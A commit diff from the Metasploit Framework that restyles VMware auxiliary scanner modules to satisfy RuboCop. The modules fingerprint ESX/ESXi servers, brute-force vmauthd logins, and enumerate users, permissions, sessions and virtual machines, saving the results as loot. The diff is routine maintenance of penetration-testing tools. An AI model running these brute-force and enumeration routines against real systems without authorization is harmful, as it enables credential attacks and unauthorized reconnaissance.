modules/auxiliary/scanner/vmware: Resolve RuboCop violations
This commit is contained in:
@@ -11,84 +11,97 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare ESX/ESXi Fingerprint Scanner',
|
||||
'Description' => %Q{
|
||||
'Name' => 'VMware ESX/ESXi Fingerprint Scanner',
|
||||
'Description' => %(
|
||||
This module accesses the web API interfaces for VMware ESX/ESXi servers
|
||||
and attempts to identify version information for that server.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(443),
|
||||
OptString.new('URI', [false, 'The uri path to test against' , '/sdk'])
|
||||
register_options([
|
||||
Opt::RPORT(443),
|
||||
OptString.new('URI', [false, 'The uri path to test against', '/sdk'])
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
soap_data =
|
||||
%(<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data,
|
||||
'headers' => { 'SOAPAction' => @soap_action}
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionError => e
|
||||
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
|
||||
return false
|
||||
rescue
|
||||
vprint_error("Skipping #{ip} due to error - #{e}")
|
||||
return false
|
||||
end
|
||||
fingerprint_vmware(ip,res)
|
||||
</env:Envelope>)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data,
|
||||
'headers' => { 'SOAPAction' => @soap_action }
|
||||
}, 25)
|
||||
|
||||
fingerprint_vmware(ip, res)
|
||||
rescue ::Rex::ConnectionError => e
|
||||
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
|
||||
return false
|
||||
rescue StandardError
|
||||
vprint_error("Skipping #{ip} due to error - #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
# Takes an ip address and a response, and just checks the response
|
||||
# Takes an IP address and a response, and just checks the response
|
||||
# to pull out version info. If it's ESX, report the OS as ESX (since
|
||||
# it's a hypervisor deal then). Otherwise, just report the service.
|
||||
# XXX: report_service is stomping on the report_host OS. This is le suck.
|
||||
def fingerprint_vmware(ip,res)
|
||||
def fingerprint_vmware(ip, res)
|
||||
unless res
|
||||
vprint_error("http://#{ip}:#{rport} - No response")
|
||||
return false
|
||||
end
|
||||
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
|
||||
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
|
||||
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
|
||||
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
|
||||
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
|
||||
|
||||
unless res.body.include?('<vendor>VMware, Inc.</vendor>')
|
||||
vprint_error("http://#{ip}:#{rport} - Host is not VMware")
|
||||
return false
|
||||
end
|
||||
|
||||
os_match = res.body.match(%r{<name>([\w\s]+)</name>})
|
||||
ver_match = res.body.match(%r{<version>([\w\s.]+)</version>})
|
||||
build_match = res.body.match(%r{<build>([\w\s.-]+)</build>})
|
||||
full_match = res.body.match(%r{<fullName>([\w\s.-]+)</fullName>})
|
||||
this_host = nil
|
||||
|
||||
if full_match
|
||||
print_good("#{rhost}:#{rport} - Identified #{full_match[1]}")
|
||||
report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
|
||||
report_service(host: this_host || ip, port: rport, proto: 'tcp', name: 'https', info: full_match[1])
|
||||
end
|
||||
|
||||
if os_match and ver_match and build_match
|
||||
if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
|
||||
# Report a fingerprint match for OS identification
|
||||
report_note(
|
||||
:host => ip,
|
||||
:ntype => 'fingerprint.match',
|
||||
:data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] }
|
||||
)
|
||||
end
|
||||
return true
|
||||
else
|
||||
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
|
||||
unless os_match && ver_match && build_match
|
||||
vprint_error("http://#{ip}:#{rport} - Could not identify as VMware")
|
||||
return false
|
||||
end
|
||||
|
||||
if os_match[1] =~ /ESX/ || os_match[1] =~ /vCenter/
|
||||
# Report a fingerprint match for OS identification
|
||||
report_note(
|
||||
host: ip,
|
||||
ntype: 'fingerprint.match',
|
||||
data: {
|
||||
'os.vendor' => 'VMware',
|
||||
'os.product' => os_match[1] + ' ' + ver_match[1],
|
||||
'os.version' => build_match[1]
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
@@ -12,43 +12,52 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
@@cached_rsa_key = nil
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Authentication Daemon Login Scanner',
|
||||
'Description' => %q{This module will test vmauthd logins on a range of machines and
|
||||
report successful logins.
|
||||
'Name' => 'VMware Authentication Daemon Login Scanner',
|
||||
'Description' => %q{
|
||||
This module will test vmauthd logins on a range of machines and
|
||||
report successful logins.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => ['theLightCosine'],
|
||||
'References' => [
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(902)])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_brute :ip => ip, :msg => 'Starting bruteforce'
|
||||
print_brute ip: ip, msg: 'Starting bruteforce'
|
||||
|
||||
# Perform a sanity check to ensure that our target is vmauthd before
|
||||
# attempting to brute force it.
|
||||
begin
|
||||
connect rescue nil
|
||||
if !self.sock
|
||||
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
|
||||
return
|
||||
begin
|
||||
connect
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
banner = sock.get_once(-1, 10)
|
||||
if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/
|
||||
print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service'
|
||||
|
||||
if !sock
|
||||
print_brute(level: :verror, ip: ip, msg: 'Could not connect')
|
||||
return
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
banner = sock.get_once(-1, 10)
|
||||
|
||||
if banner !~ /^220 VMware Authentication Daemon Version.*/
|
||||
print_brute(level: :verror, ip: ip, msg: 'Target does not appear to be a vmauthd service')
|
||||
return
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
ensure
|
||||
disconnect
|
||||
@@ -84,27 +93,27 @@ class MetasploitModule < Msf::Auxiliary
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute level: :good, ip: ip, msg: "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
:next_user
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute level: :verror, ip: ip, msg: 'Could not connect'
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
:abort
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
if datastore['VERBOSE']
|
||||
print_brute level: :verror, ip: ip, msg: "Failed: '#{result.credential}' #{result.proof}"
|
||||
end
|
||||
invalidate_login(credential_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,41 +3,43 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
@@cached_rsa_key = nil
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Authentication Daemon Version Scanner',
|
||||
'Name' => 'VMware Authentication Daemon Version Scanner',
|
||||
'Description' => %q{
|
||||
This module will identify information about a host through the
|
||||
vmauthd service.
|
||||
vmauthd service.
|
||||
},
|
||||
'Author' => ['theLightCosine', 'hdm'],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => ['theLightCosine', 'hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(902)])
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
def run_host(_ip)
|
||||
begin
|
||||
|
||||
connect rescue nil
|
||||
if not self.sock
|
||||
return
|
||||
connect
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
|
||||
return unless sock
|
||||
|
||||
banner = sock.get_once(-1, 10)
|
||||
if not banner
|
||||
|
||||
if !banner
|
||||
print_error "#{rhost}:#{rport} No banner received from vmauthd"
|
||||
return
|
||||
end
|
||||
@@ -54,72 +56,64 @@ class MetasploitModule < Msf::Auxiliary
|
||||
if banner =~ /SSL/
|
||||
print_status("#{rhost}:#{rport} Switching to SSL connection...")
|
||||
swap_sock_plain_to_ssl
|
||||
cert = self.sock.peer_cert
|
||||
cert = sock.peer_cert
|
||||
end
|
||||
|
||||
if cert
|
||||
banner << " Certificate:#{cert.subject.to_s}"
|
||||
banner << " Certificate:#{cert.subject}"
|
||||
end
|
||||
|
||||
print_good "#{rhost}:#{rport} Banner: #{banner}"
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'vmauthd',
|
||||
:info => banner,
|
||||
:proto => 'tcp'
|
||||
host: rhost,
|
||||
port: rport,
|
||||
sname: 'vmauthd',
|
||||
info: banner,
|
||||
proto: 'tcp'
|
||||
)
|
||||
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
def do_login(user, pass, nsock=self.sock)
|
||||
def do_login(user, pass, nsock = sock)
|
||||
nsock.put("USER #{user}\r\n")
|
||||
res = nsock.get_once || ''
|
||||
unless res.start_with? "331"
|
||||
ret_msg = "Unexpected reply to the USER command: #{res}"
|
||||
return ret_msg
|
||||
|
||||
unless res.start_with?('331')
|
||||
return "Unexpected reply to the USER command: #{res}"
|
||||
end
|
||||
|
||||
nsock.put("PASS #{pass}\r\n")
|
||||
res = nsock.get_once || ''
|
||||
if res.start_with? "530"
|
||||
if res.start_with?('530')
|
||||
return :failed
|
||||
elsif res.start_with? "230"
|
||||
elsif res.start_with?('230')
|
||||
return :success
|
||||
else
|
||||
ret_msg = "Unexpected reply to the PASS command: #{res}"
|
||||
return ret_msg
|
||||
return "Unexpected reply to the PASS command: #{res}"
|
||||
end
|
||||
end
|
||||
|
||||
def swap_sock_plain_to_ssl(nsock=self.sock)
|
||||
ctx = generate_ssl_context()
|
||||
def swap_sock_plain_to_ssl(nsock = sock)
|
||||
ctx = generate_ssl_context
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
|
||||
|
||||
ssl.connect
|
||||
|
||||
nsock.extend(Rex::Socket::SslTcp)
|
||||
nsock.sslsock = ssl
|
||||
nsock.sslctx = ctx
|
||||
nsock.sslctx = ctx
|
||||
end
|
||||
|
||||
def generate_ssl_context
|
||||
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
|
||||
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
|
||||
|
||||
ctx.key = @@cached_rsa_key
|
||||
|
||||
@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024) {}
|
||||
ctx.key = @cached_rsa_key
|
||||
ctx.session_id_context = Rex::Text.rand_text(16)
|
||||
|
||||
return ctx
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
@@ -12,27 +11,32 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Permissions',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to enumerate
|
||||
'Name' => 'VMware Enumerate Permissions',
|
||||
'Description' => %(
|
||||
This module will log into the Web API of VMware and try to enumerate
|
||||
all the user/group permissions. Unlike enum users this is only
|
||||
users and groups that specifically have permissions defined within
|
||||
the VMware product
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
])
|
||||
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
role_map = {}
|
||||
@@ -47,9 +51,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
esx_roles.each do |role|
|
||||
role_map[role['roleId']] = {
|
||||
"name" => role['name'],
|
||||
"system" => role['system'],
|
||||
"summary" => role['info']['summary']
|
||||
'name' => role['name'],
|
||||
'system' => role['system'],
|
||||
'summary' => role['info']['summary']
|
||||
}
|
||||
end
|
||||
end
|
||||
@@ -64,18 +68,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_error "An error occurred while trying to enumerate the permissions on #{ip}"
|
||||
else
|
||||
tmp_perms = Rex::Text::Table.new(
|
||||
'Header' => "Permissions for VMWare #{ip}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary']
|
||||
)
|
||||
'Header' => "Permissions for VMware #{ip}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary']
|
||||
)
|
||||
esx_permissions.each do |perm|
|
||||
role_name = role_map[perm['roleId']]['name']
|
||||
role_summary = role_map[perm['roleId']]['summary']
|
||||
tmp_perms << [perm['principal'], perm['group'], role_name , role_summary]
|
||||
tmp_perms << [perm['principal'], perm['group'], role_name, role_summary]
|
||||
end
|
||||
print_good tmp_perms.to_s
|
||||
|
||||
f = store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions")
|
||||
f = store_loot('host.vmware.permissions', 'text/plain', datastore['RHOST'], tmp_perms.to_csv, "#{datastore['RHOST']}_esx_permissions.txt", 'VMware ESX Permissions')
|
||||
vprint_good("Permission info stored in: #{f}")
|
||||
end
|
||||
else
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
@@ -12,25 +11,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Active Sessions',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to enumerate
|
||||
'Name' => 'VMware Enumerate Active Sessions',
|
||||
'Description' => %(
|
||||
This module will log into the Web API of VMware and try to enumerate
|
||||
all the login sessions.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
])
|
||||
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
vim_sessions = vim_get_session_list
|
||||
@@ -38,14 +42,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
when :noresponse
|
||||
print_error "Connection error - Received no reply from #{ip}"
|
||||
when :error
|
||||
print_error "An error has occurred"
|
||||
print_error 'An error has occurred'
|
||||
when :expired
|
||||
print_error "The session is no longer authenticated"
|
||||
print_error 'The session is no longer authenticated'
|
||||
else
|
||||
output = ''
|
||||
vim_sessions.each do |vsession|
|
||||
tmp_line = "Name: #{vsession['fullName']} \n\t"
|
||||
is_active = vim_session_is_active(vsession['key'],vsession['userName'])
|
||||
is_active = vim_session_is_active(vsession['key'], vsession['userName'])
|
||||
if is_active == :error
|
||||
tmp_line << "Active: N/A \n\t"
|
||||
else
|
||||
@@ -60,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
output << tmp_line
|
||||
end
|
||||
unless output.empty?
|
||||
f = store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware")
|
||||
f = store_loot('host.vmware.sessions', 'text/plain', datastore['RHOST'], output, 'vmware_sessions.txt', 'Login Sessions for VMware')
|
||||
vprint_good("Login sessions stored in: #{f}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
@@ -12,38 +11,43 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate User Accounts',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to enumerate
|
||||
'Name' => 'VMware Enumerate User Accounts',
|
||||
'Description' => %(
|
||||
This module will log into the Web API of VMware and try to enumerate
|
||||
all the user accounts. If the VMware instance is connected to one or
|
||||
more domains, it will try to enumerate domain users as well.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
])
|
||||
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
# Get local Users and Groups
|
||||
user_list = vim_get_user_list(nil)
|
||||
tmp_users = Rex::Text::Table.new(
|
||||
'Header' => "Users for server #{ip}",
|
||||
'Indent' => 1,
|
||||
'Header' => "Users for server #{ip}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
tmp_groups = Rex::Text::Table.new(
|
||||
'Header' => "Groups for server #{ip}",
|
||||
'Indent' => 1,
|
||||
'Header' => "Groups for server #{ip}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
unless user_list.nil?
|
||||
@@ -59,13 +63,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
if obj['group'] == 'true'
|
||||
tmp_groups << [obj['principal'], obj['fullName']]
|
||||
else
|
||||
tmp_users << [obj['principal'], obj['fullName']]
|
||||
tmp_users << [obj['principal'], obj['fullName']]
|
||||
end
|
||||
end
|
||||
print_good tmp_groups.to_s
|
||||
store_loot('host.vmware.groups', "text/plain", datastore['RHOST'], tmp_groups.to_csv , "#{datastore['RHOST']}_esx_groups.txt", "VMWare ESX User Groups")
|
||||
store_loot('host.vmware.groups', 'text/plain', datastore['RHOST'], tmp_groups.to_csv, "#{datastore['RHOST']}_esx_groups.txt", 'VMware ESX User Groups')
|
||||
print_good tmp_users.to_s
|
||||
store_loot('host.vmware.users', "text/plain", datastore['RHOST'], tmp_users.to_csv , "#{datastore['RHOST']}_esx_users.txt", "VMWare ESX Users")
|
||||
store_loot('host.vmware.users', 'text/plain', datastore['RHOST'], tmp_users.to_csv, "#{datastore['RHOST']}_esx_users.txt", 'VMware ESX Users')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -82,14 +86,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Enumerate Domain Users and Groups
|
||||
esx_domains.each do |domain|
|
||||
tmp_dusers = Rex::Text::Table.new(
|
||||
'Header' => "Users for domain #{domain}",
|
||||
'Indent' => 1,
|
||||
'Header' => "Users for domain #{domain}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
|
||||
tmp_dgroups = Rex::Text::Table.new(
|
||||
'Header' => "Groups for domain #{domain}",
|
||||
'Indent' => 1,
|
||||
'Header' => "Groups for domain #{domain}",
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Name', 'Description']
|
||||
)
|
||||
|
||||
@@ -108,16 +112,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
if obj['group'] == 'true'
|
||||
tmp_dgroups << [obj['principal'], obj['fullName']]
|
||||
else
|
||||
tmp_dusers << [obj['principal'], obj['fullName']]
|
||||
tmp_dusers << [obj['principal'], obj['fullName']]
|
||||
end
|
||||
end
|
||||
print_good tmp_dgroups.to_s
|
||||
|
||||
f = store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups")
|
||||
vprint_status("VMWare domain user groups stored in: #{f}")
|
||||
f = store_loot('domain.groups', 'text/plain', datastore['RHOST'], tmp_dgroups.to_csv, "#{domain}_esx_groups.txt", "VMware ESX #{domain} Domain User Groups")
|
||||
vprint_status("VMware domain user groups stored in: #{f}")
|
||||
print_good tmp_dusers.to_s
|
||||
f = store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users")
|
||||
vprint_status("VMWare users stored in: #{f}")
|
||||
f = store_loot('domain.users', 'text/plain', datastore['RHOST'], tmp_dgroups.to_csv, "#{domain}_esx_users.txt", "VMware ESX #{domain} Domain Users")
|
||||
vprint_status("VMware users stored in: #{f}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -11,62 +11,68 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Virtual Machines',
|
||||
'Description' => %Q{
|
||||
This module attempts to discover virtual machines on any VMWare instance
|
||||
running the web interface. This would include ESX/ESXi and VMWare Server.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
'Name' => 'VMware Enumerate Virtual Machines',
|
||||
'Description' => %(
|
||||
This module attempts to discover virtual machines on any VMware instance
|
||||
running the web interface. This would include ESX/ESXi and VMware Server.
|
||||
),
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true },
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptBool.new('SCREENSHOT', [true, "Whether or not to try to take a screenshot", true])
|
||||
])
|
||||
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ]),
|
||||
OptBool.new('SCREENSHOT', [true, 'Whether or not to try to take a screenshot', true])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
virtual_machines = vim_get_vms
|
||||
virtual_machines.each do |vm|
|
||||
print_good YAML.dump(vm)
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "vmware.esx.vm",
|
||||
:data => { :virtual_machine => vm },
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
host: rhost,
|
||||
type: 'vmware.esx.vm',
|
||||
data: { virtual_machine: vm },
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
update: :unique_data
|
||||
)
|
||||
next unless datastore['SCREENSHOT'] and vm['runtime']['powerState'] == 'poweredOn'
|
||||
next unless datastore['SCREENSHOT'] && (vm['runtime']['powerState'] == 'poweredOn')
|
||||
|
||||
print_status "Attempting to take screenshot of #{vm['name']}...."
|
||||
screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
